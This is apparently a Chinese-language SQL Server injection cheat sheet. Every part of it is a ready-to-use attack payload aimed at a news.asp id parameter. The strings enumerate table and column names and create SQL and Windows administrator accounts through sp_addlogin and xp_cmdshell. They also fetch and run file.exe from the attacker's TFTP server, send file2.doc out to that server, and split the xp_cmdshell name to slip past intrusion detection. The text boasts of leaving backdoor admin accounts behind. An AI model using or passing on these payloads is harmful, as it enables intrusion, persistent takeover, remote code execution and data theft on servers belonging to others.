[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]

也可以这样更简捷的获取表名：

select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码，则用这句（将test的密码改为123456）
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将系统用户test提升为管理员

这样，你在他的数据库和系统内都留下了test管理员账号了

下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器，将69端口打开]

id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--

然后运行这个文件：
id=2; exec master.dbo.xp_cmdshell 'file.exe';--

下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:

id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--

绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'